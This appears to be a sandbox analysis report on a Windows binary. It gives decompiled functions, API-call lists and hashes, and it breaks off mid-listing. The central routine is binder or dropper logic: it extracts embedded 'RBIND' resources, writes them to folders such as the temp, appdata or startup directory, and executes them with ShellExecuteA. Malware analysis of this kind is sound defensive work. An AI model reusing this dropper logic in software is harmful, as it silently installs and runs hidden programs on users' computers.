DROPIN, xrefs: 00B71F0C
C:\, xrefs: 00B7223A
%DEFDRIVE%, xrefs: 00B721CA
EXEC, xrefs: 00B71FC8
FULLPATH, xrefs: 00B722C9
%LAPPDATA%, xrefs: 00B72276
%APPDATA%, xrefs: 00B72116
%TEMP%, xrefs: 00B7209E

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memmove$FindFolderPathResourceSpecial
String ID: %APPDATA%$%DEFDRIVE%$%LAPPDATA%$%PROGFILES%$%STARTUPDIR%$%TEMP%$%USERDIR%$C:\$DROPIN$EXEC$FULLPATH
API String ID: 1519558674-3215377631
Opcode ID: ca962a10ea9d99509ee2bdd9f25fcb8773b26c1d3b722c94036e37a10c127818
Instruction ID: cfe5f2c38eb4b631ce90a537b0f5db2fff198743a6991f59847ca323e43632bb
Opcode Fuzzy Hash: ca962a10ea9d99509ee2bdd9f25fcb8773b26c1d3b722c94036e37a10c127818
Instruction Fuzzy Hash: 0CC1D1729083408BD710EF38984161AB7F1EF95350F4589ADE8BD6B391EB719944CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00B710C0, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 181
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00B710C0(void* __eflags, CHAR* _a8, void* _a12) {
				void* _v8;
				char _v16;
				signed int _v20;
				char _v279;
				char _v280;
				intOrPtr _v288;
				void* _v292;
				CHAR* _v308;
				intOrPtr _v316;
				intOrPtr _v320;
				char _v336;
				CHAR* _v340;
				CHAR* _v344;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				signed int _t49;
				intOrPtr* _t54;
				void* _t55;
				unsigned int _t56;
				void* _t59;
				CHAR* _t63;
				void* _t66;
				long _t67;
				intOrPtr _t72;
				void* _t86;
				char _t88;
				void _t89;
				void _t90;
				signed int _t92;
				void _t97;
				void* _t106;
				void* _t107;
				void* _t108;
				void* _t113;
				void* _t115;
				void* _t121;
				void* _t123;
				void* _t128;
				struct HRSRC__* _t131;
				intOrPtr _t132;
				void* _t133;
				signed int _t134;
				void* _t135;
				void* _t137;
				void* _t139;

				_push(0xffffffff);
				_push(E00B785CB);
				_push( *[fs:0x0]);
				_t48 =  *0xb7d07c; // 0x4b320af7
				_t49 = _t48 ^ _t134;
				_v20 = _t49;
				_push(_t49);
				 *[fs:0x0] =  &_v16;
				_t113 = _a12;
				_v344 = _a8;
				_v340 = _t113;
				_v280 = 0;
				E00B757C0( &_v279, 0, 0x103);
				_t137 = _t135 - 0x148 + 0xc;
				E00B723A0( &_v279,  &_v336);
				_v8 = 0;
				_t54 = E00B72370( &_v279,  &_v308);
				if( *((intOrPtr*)(_t54 + 0x14)) >= 0x10) {
					_t54 =  *_t54;
				}
				_t106 =  &_v280 - _t54;
				do {
					_t88 =  *_t54;
					 *((char*)(_t106 + _t54)) = _t88;
					_t54 = _t54 + 1;
				} while (_t88 != 0);
				if(_v288 >= 0x10) {
					_push(_v308);
					E00B72BB1();
					_t137 = _t137 + 4;
				}
				_t55 = _t113;
				_t107 = _t113;
				do {
					_t89 =  *_t55;
					_t55 = _t55 + 1;
				} while (_t89 != 0);
				_t56 = _t55 - _t107;
				_t115 =  &_v280 - 1;
				do {
					_t90 =  *(_t115 + 1);
					_t115 = _t115 + 1;
				} while (_t90 != 0);
				_t92 = _t56 >> 2;
				_t128 = _t107;
				_t59 = memcpy(_t128 + _t92 + _t92, _t128, memcpy(_t115, _t128, _t92 << 2) & 0x00000003);
				_t139 = _t137 + 0x18;
				_v288 = 0xf;
				_v292 = 0;
				_v308 = 0;
				_t108 = _t59 + 1;
				do {
					_t97 =  *_t59;
					_t59 = _t59 + 1;
				} while (_t97 != 0);
				E00B71420( &_v280, _t59 - _t108,  &_v308);
				_t63 = _v308;
				if(_v288 < 0x10) {
					_t63 =  &_v308;
				}
				OutputDebugStringA(_t63); // executed
				if(_v288 >= 0x10) {
					_push(_v308);
					E00B72BB1();
					_t139 = _t139 + 4;
				}
				_t131 = FindResourceA(0, _v340, _v344);
				_t66 = CreateFileA( &_v280, 0x40000000, 2, 0, 2, 0x80, 0); // executed
				_t121 = _t66;
				_t67 = SizeofResource(0, _t131);
				WriteFile(_t121, LockResource(LoadResource(0, _t131)), _t67, _v340, 0); // executed
				CloseHandle(_t121); // executed
				_t132 = _v320;
				_t72 = _t132;
				if(_t132 >= 1) {
					_t72 = 1;
				}
				_t110 = _v336;
				if(_v316 < 0x10) {
					_t110 =  &_v336;
				}
				if(E00B71040(_t72, "2", _t110) != 0 || _t132 < 1 || (0 | _t132 != 0x00000001) != 0) {
					_t110 =  &_v280;
					ShellExecuteA(0, "open",  &_v280, 0, 0, 5); // executed
				}
				if(_v316 >= 0x10) {
					_push(_v336);
					E00B72BB1();
				}
				 *[fs:0x0] = _v16;
				_pop(_t123);
				_pop(_t133);
				_pop(_t86);
				return E00B72701(1, _t86, _v20 ^ _t134, _t110, _t123, _t133);
			}

0x00b710c3
0x00b710c5
0x00b710d0
0x00b710d7
0x00b710dc
0x00b710de
0x00b710e4
0x00b710e8
0x00b710f1
0x00b71103
0x00b71109
0x00b7110f
0x00b71115
0x00b7111a
0x00b71123
0x00b7112e
0x00b71131
0x00b7113e
0x00b71140
0x00b71140
0x00b71148
0x00b71150
0x00b71150
0x00b71152
0x00b71155
0x00b71156
0x00b71160
0x00b71168
0x00b71169
0x00b7116e
0x00b7116e
0x00b71171
0x00b71173
0x00b71175
0x00b71175
0x00b71177
0x00b71178
0x00b71182
0x00b71184
0x00b71185
0x00b71185
0x00b71188
0x00b71189
0x00b7118f
0x00b71192
0x00b711a1
0x00b711a1
0x00b711a3
0x00b711ad
0x00b711b3
0x00b711b9
0x00b711c0
0x00b711c0
0x00b711c2
0x00b711c3
0x00b711d7
0x00b711dc
0x00b711ed
0x00b711ef
0x00b711ef
0x00b711f6
0x00b71202
0x00b7120a
0x00b7120b
0x00b71210
0x00b71210
0x00b71233
0x00b71241
0x00b71251
0x00b71253
0x00b7126b
0x00b71272
0x00b71278
0x00b7127e
0x00b71283
0x00b71285
0x00b71285
0x00b7128a
0x00b7129b
0x00b7129d
0x00b7129d
0x00b712af
0x00b712c6
0x00b712d3
0x00b712d3
0x00b712df
0x00b712e7
0x00b712e8
0x00b712ed
0x00b712f8
0x00b71300
0x00b71301
0x00b71302
0x00b71310

APIs

_memset.LIBCMT ref: 00B71115
OutputDebugStringA.KERNELBASE(?), ref: 00B711F6
FindResourceA.KERNEL32 ref: 00B71222
CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00B71241
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00B71253
LoadResource.KERNEL32(00000000,00000000,00000000), ref: 00B7125C
LockResource.KERNEL32(00000000), ref: 00B71263
WriteFile.KERNELBASE(00000000,00000000), ref: 00B7126B
CloseHandle.KERNELBASE(00000000), ref: 00B71272
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00B712D3

Strings

open, xrefs: 00B712CD

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Resource$File$CloseCreateDebugExecuteFindHandleLoadLockOutputShellSizeofStringWrite_memset
String ID: open
API String ID: 1373180822-2758837156
Opcode ID: e2909844c0cc7042521c7a13807e2ecf24195656b7b6f587fe4b5c023d8747af
Instruction ID: 12d2825007e63a9a6d639139b511810b900870ba4cfac0dae91cc780157021c6
Opcode Fuzzy Hash: e2909844c0cc7042521c7a13807e2ecf24195656b7b6f587fe4b5c023d8747af
Instruction Fuzzy Hash: 7E61A371D002289FDB25DB68CC59BEAB7F9FB49700F4488E5E91DA7251DA305E84CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B71330, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B71330(struct HINSTANCE__* __eax, intOrPtr __edx) {
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t5;
				intOrPtr _t8;

				_t8 = __edx;
				_t1 = __eax;
				if(__eax == 0) {
					_t1 = E00B72E90(__eax);
				}
				_t2 = GetProcAddress(_t1, "ShellExecuteA");
				 *0xb7e944 = _t2;
				if(__imp__ShellExecuteA == 0) {
					E00B72E90(0); // executed
				}
				E00B71EB0(_t8, __imp__ShellExecuteA); // executed
				EnumResourceNamesA(0, "RBIND", E00B710C0, 0);
				_t5 =  *0xb7e940; // 0x75540000
				return FreeLibrary(_t5);
			}

0x00b71330
0x00b71330
0x00b71332
0x00b71335
0x00b71335
0x00b71340
0x00b7134d
0x00b71352
0x00b71356
0x00b71356
0x00b7135b
0x00b7136e
0x00b71374
0x00b71380

APIs

GetProcAddress.KERNEL32(?,ShellExecuteA), ref: 00B71340
EnumResourceNamesA.KERNEL32 ref: 00B7136E
FreeLibrary.KERNEL32(75540000,?,ShellExecuteA), ref: 00B7137A

Part of subcall function 00B72E90: _doexit.LIBCMT ref: 00B72E9C

Strings

ShellExecuteA, xrefs: 00B7133A
RBIND, xrefs: 00B71367

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressEnumFreeLibraryNamesProcResource_doexit
String ID: RBIND$ShellExecuteA
API String ID: 2589694317-233069040
Opcode ID: 41bf2c39aa8fdc756d1e793cfc1bdf6c8e94349549d0e114315575c1608c606a
Instruction ID: 9ed440d11d1e8cb638f1813e5bb3b419aff0b6235d43c16bb0f0e8433111984a
Opcode Fuzzy Hash: 41bf2c39aa8fdc756d1e793cfc1bdf6c8e94349549d0e114315575c1608c606a
Instruction Fuzzy Hash: A6E01A31A80300B6D6606BB89C0EF4B36E5AB14B06F008881F63DA34E1CBB091808A36

Uniqueness

Uniqueness Score: -1.00%

Function 00B72C38, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B72C38(int _a4) {

				E00B72C0D(_a4);
				ExitProcess(_a4);
			}

0x00b72c40
0x00b72c49

APIs

___crtCorExitProcess.LIBCMT ref: 00B72C40

Part of subcall function 00B72C0D: GetModuleHandleW.KERNEL32(mscoree.dll,?,00B72C45,00000000,?,00B73432,000000FF,0000001E,00000001,00000000,00000000,?,00B7484E,00000000,00000001,00000000), ref: 00B72C17
Part of subcall function 00B72C0D: GetProcAddress.KERNEL32(00000000,CorExitProcess,?,00B72C45,00000000,?,00B73432,000000FF,0000001E,00000001,00000000,00000000,?,00B7484E,00000000,00000001), ref: 00B72C27

ExitProcess.KERNEL32 ref: 00B72C49

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 3c6396ae5c435dc9dc4b4c96f033cbc405deffb38798bea2c79ee1e61fa4d0b7
Instruction ID: f1ac241ba19b7f989d444d678fbdb1ffd775956ec76059498c2ffe4cb832dbbd
Opcode Fuzzy Hash: 3c6396ae5c435dc9dc4b4c96f033cbc405deffb38798bea2c79ee1e61fa4d0b7
Instruction Fuzzy Hash: F3B09231000148BBCB162F22DC0AC4D3F7AFB813A0B108020F82C0A031DF72ED92DAC0

Uniqueness

Uniqueness Score: -1.00%

Function 00B765CB, Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00B765CB(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
					_t10 = RtlAllocateHeap( *0xb7e8c0, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0xb7e8c4;
					if( *0xb7e8c4 == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E00B73D86(_t10, _t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E00B74264(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

0x00b765d0
0x00b765d5
0x00b765f2
0x00b765f7
0x00b765f9
0x00b765fb
0x00b765fd
0x00b765fd
0x00b765fd
0x00000000
0x00b76605
0x00b7660e
0x00b76614
0x00b76616
0x00000000
0x00000000
0x00b7664a
0x00b7664c
0x00000000
0x00b76618
0x00b76618
0x00b7661f
0x00b7663d
0x00b76640
0x00b76642
0x00b76644
0x00b76644
0x00b76621
0x00b76622
0x00b76628
0x00b7662a
0x00b765fe
0x00b765fe
0x00b76600
0x00b76603
0x00000000
0x00000000
0x00000000
0x00000000
0x00b7662c
0x00b7662c
0x00b7662f
0x00b76631
0x00b76633
0x00b76633
0x00b76639
0x00b76639
0x00b7662a
0x00000000
0x00b765d7
0x00b765db
0x00b765de
0x00b765e1
0x00000000
0x00b765e3
0x00b765e8
0x00b765f1
0x00b765f1
0x00b765e1
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B74898,00000000,?,00000000,00000000,00000000,?,00B73F10,00000001,00000214), ref: 00B7660E

Part of subcall function 00B74264: __getptd_noexit.LIBCMT ref: 00B74264

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 38b7db28a005aec93ebf208641e586ef145bc684e706134b326b134581efd96d
Instruction ID: c20ddbd8b1ed704eacb175bc45056e0c8939f86040960c933bf33fdd864050da
Opcode Fuzzy Hash: 38b7db28a005aec93ebf208641e586ef145bc684e706134b326b134581efd96d
Instruction Fuzzy Hash: 3401B131201A15ABEB289F65DC14BE637D4EF91760F04C6A9E83ECB1E4DB30DC40C650

Uniqueness

Uniqueness Score: -1.00%

Function 00B72E90, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00B72E90(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E00B72D50(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x00b72e95
0x00b72e97
0x00b72e99
0x00b72e9c
0x00b72ea5

APIs

_doexit.LIBCMT ref: 00B72E9C

Part of subcall function 00B72D50: __lock.LIBCMT ref: 00B72D5E
Part of subcall function 00B72D50: RtlDecodePointer.NTDLL(00B7B5D8,00000020,00B72EB7,00000000,00000001,00000000,?,00B72EF7,000000FF,?,00B73919,00000011,00000000,?,00B73E7B,0000000D), ref: 00B72D9A
Part of subcall function 00B72D50: DecodePointer.KERNEL32(?,00B72EF7,000000FF,?,00B73919,00000011,00000000,?,00B73E7B,0000000D), ref: 00B72DAB
Part of subcall function 00B72D50: DecodePointer.KERNEL32(-00000004,?,00B72EF7,000000FF,?,00B73919,00000011,00000000,?,00B73E7B,0000000D), ref: 00B72DD1
Part of subcall function 00B72D50: DecodePointer.KERNEL32(?,00B72EF7,000000FF,?,00B73919,00000011,00000000,?,00B73E7B,0000000D), ref: 00B72DE4
Part of subcall function 00B72D50: DecodePointer.KERNEL32(?,00B72EF7,000000FF,?,00B73919,00000011,00000000,?,00B73E7B,0000000D), ref: 00B72DEE

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DecodePointer$__lock_doexit
String ID:
API String ID: 3343572566-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: f1f2856109e2a9dd418f1afe0dc912b2716e9a1283f9d6d3777909df54cc0101
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: 6CB0923258020833DA212642AC03F063A4987C0B64E254060BA1C191A2A9A2A9628089

Uniqueness

Uniqueness Score: -1.00%

Function 00B73DAE, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,00B76286,00B7E188,00000314,00000000,?,?,?,?,?,00B74792,00B7E188,Microsoft Visual C++ Runtime Library,00012010), ref: 00B73DB0

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 734d666bdbe5d738b00621ebebd5c6cc9056fee40c18186000118feb40e6f770
Instruction ID: 02d7b66d68db391b4178ba10213477d873c43118fd5dbbec9063902d1273ad91
Opcode Fuzzy Hash: 734d666bdbe5d738b00621ebebd5c6cc9056fee40c18186000118feb40e6f770
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B72701, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00B72701(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0xb7d07c; // 0x4b320af7
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0xb7ddd8 = _t6;
				 *0xb7ddd4 = _t22;
				 *0xb7ddd0 = _t25;
				 *0xb7ddcc = _t21;
				 *0xb7ddc8 = _t27;
				 *0xb7ddc4 = _t26;
				 *0xb7ddf0 = ss;
				 *0xb7dde4 = cs;
				 *0xb7ddc0 = ds;
				 *0xb7ddbc = es;
				 *0xb7ddb8 = fs;
				 *0xb7ddb4 = gs;
				asm("pushfd");
				_pop( *0xb7dde8);
				 *0xb7dddc =  *_t31;
				 *0xb7dde0 = _v0;
				 *0xb7ddec =  &_a4;
				 *0xb7dd28 = 0x10001;
				_t11 =  *0xb7dde0; // 0x0
				 *0xb7dcdc = _t11;
				 *0xb7dcd0 = 0xc0000409;
				 *0xb7dcd4 = 1;
				_t12 =  *0xb7d07c; // 0x4b320af7
				_v812 = _t12;
				_t13 =  *0xb7d080; // 0xb4cdf508
				_v808 = _t13;
				 *0xb7dd20 = IsDebuggerPresent();
				_push(1);
				E00B7520E(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0xb7922c);
				if( *0xb7dd20 == 0) {
					_push(1);
					E00B7520E(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00b72701
0x00b72701
0x00b72701
0x00b72701
0x00b72701
0x00b72701
0x00b72701
0x00b72707
0x00b72709
0x00b72709
0x00b732a9
0x00b732ae
0x00b732b4
0x00b732ba
0x00b732c0
0x00b732c6
0x00b732cc
0x00b732d3
0x00b732da
0x00b732e1
0x00b732e8
0x00b732ef
0x00b732f6
0x00b732f7
0x00b73300
0x00b73308
0x00b73310
0x00b7331b
0x00b73325
0x00b7332a
0x00b7332f
0x00b73339
0x00b73343
0x00b73348
0x00b7334e
0x00b73353
0x00b7335f
0x00b73364
0x00b73366
0x00b7336e
0x00b73379
0x00b73386
0x00b73388
0x00b7338a
0x00b7338f
0x00b733a3

APIs

IsDebuggerPresent.KERNEL32 ref: 00B73359
SetUnhandledExceptionFilter.KERNEL32 ref: 00B7336E
UnhandledExceptionFilter.KERNEL32(00B7922C), ref: 00B73379
GetCurrentProcess.KERNEL32(C0000409), ref: 00B73395
TerminateProcess.KERNEL32(00000000), ref: 00B7339C

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c5a7bb6d9ff9982f352bb72f294a5e5272f0ff2071f6971845a8a6d589d9aaaf
Instruction ID: 09f129835a02db637b3eb9f1f341d64cf1285eaac822677888662fb7497984d5
Opcode Fuzzy Hash: c5a7bb6d9ff9982f352bb72f294a5e5272f0ff2071f6971845a8a6d589d9aaaf
Instruction Fuzzy Hash: 3221ACB4810204EFDB21DF29ED48A543BB4FF48394F40516AE91D97261EFB059C1CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00B74991, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B74991() {

				SetUnhandledExceptionFilter(E00B7494F);
				return 0;
			}

0x00b74996
0x00b7499e

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00B74996

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dcf4cbcfbf545e15feea5838c45a038ced128479746f1d98b84b16dcb03671cd
Instruction ID: 8c4101bb984acd7c83485df51cae6ea8a0577e9661c1379e8d910057f77fa07f
Opcode Fuzzy Hash: dcf4cbcfbf545e15feea5838c45a038ced128479746f1d98b84b16dcb03671cd
Instruction Fuzzy Hash: 9C9002B02611418A464017789C0A54725D45A486237415890A52EC6068EF5040849511

Uniqueness

Uniqueness Score: -1.00%

Function 00B740A7, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00B740A7(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t35;
				intOrPtr* _t36;
				void* _t39;
				intOrPtr* _t41;
				void* _t42;

				_t30 = __ebx;
				_t35 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t35 != 0) {
					 *0xb7e178 = GetProcAddress(_t35, "FlsAlloc");
					 *0xb7e17c = GetProcAddress(_t35, "FlsGetValue");
					 *0xb7e180 = GetProcAddress(_t35, "FlsSetValue");
					_t7 = GetProcAddress(_t35, "FlsFree");
					__eflags =  *0xb7e178;
					_t39 = TlsSetValue;
					 *0xb7e184 = _t7;
					if( *0xb7e178 == 0) {
						L6:
						 *0xb7e17c = TlsGetValue;
						 *0xb7e178 = E00B73DB7;
						 *0xb7e180 = _t39;
						 *0xb7e184 = TlsFree;
					} else {
						__eflags =  *0xb7e17c;
						if( *0xb7e17c == 0) {
							goto L6;
						} else {
							__eflags =  *0xb7e180;
							if( *0xb7e180 == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					 *0xb7d1b4 = _t10;
					__eflags = _t10 - 0xffffffff;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0xb7e17c);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E00B72C62();
							_t41 = __imp__EncodePointer;
							_t14 =  *_t41( *0xb7e178);
							 *0xb7e178 = _t14;
							_t15 =  *_t41( *0xb7e17c);
							 *0xb7e17c = _t15;
							_t16 =  *_t41( *0xb7e180);
							 *0xb7e180 = _t16;
							 *0xb7e184 =  *_t41( *0xb7e184);
							_t18 = E00B73778();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E00B73DF4();
								goto L15;
							} else {
								_t36 = __imp__DecodePointer;
								_t21 =  *((intOrPtr*)( *_t36()))( *0xb7e178, E00B73F78);
								 *0xb7d1b0 = _t21;
								__eflags = _t21 - 0xffffffff;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E00B74882(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										__eflags =  *((intOrPtr*)( *_t36()))( *0xb7e180,  *0xb7d1b0, _t42);
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E00B73E31(_t30, _t36, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E00B73DF4();
					return 0;
				}
			}

0x00b740a7
0x00b740b5
0x00b740b9
0x00b740d9
0x00b740e6
0x00b740f3
0x00b740f8
0x00b740fa
0x00b74101
0x00b74107
0x00b7410c
0x00b74124
0x00b74129
0x00b74133
0x00b7413d
0x00b74143
0x00b7410e
0x00b7410e
0x00b74115
0x00000000
0x00b74117
0x00b74117
0x00b7411e
0x00000000
0x00b74120
0x00b74120
0x00b74122
0x00000000
0x00000000
0x00b74122
0x00b7411e
0x00b74115
0x00b74148
0x00b7414e
0x00b74153
0x00b74156
0x00b7421d
0x00b7421d
0x00b7421d
0x00b7415c
0x00b74163
0x00b74165
0x00b74167
0x00000000
0x00b7416d
0x00b7416d
0x00b74178
0x00b7417e
0x00b74186
0x00b7418b
0x00b74193
0x00b74198
0x00b741a0
0x00b741a7
0x00b741ac
0x00b741b1
0x00b741b3
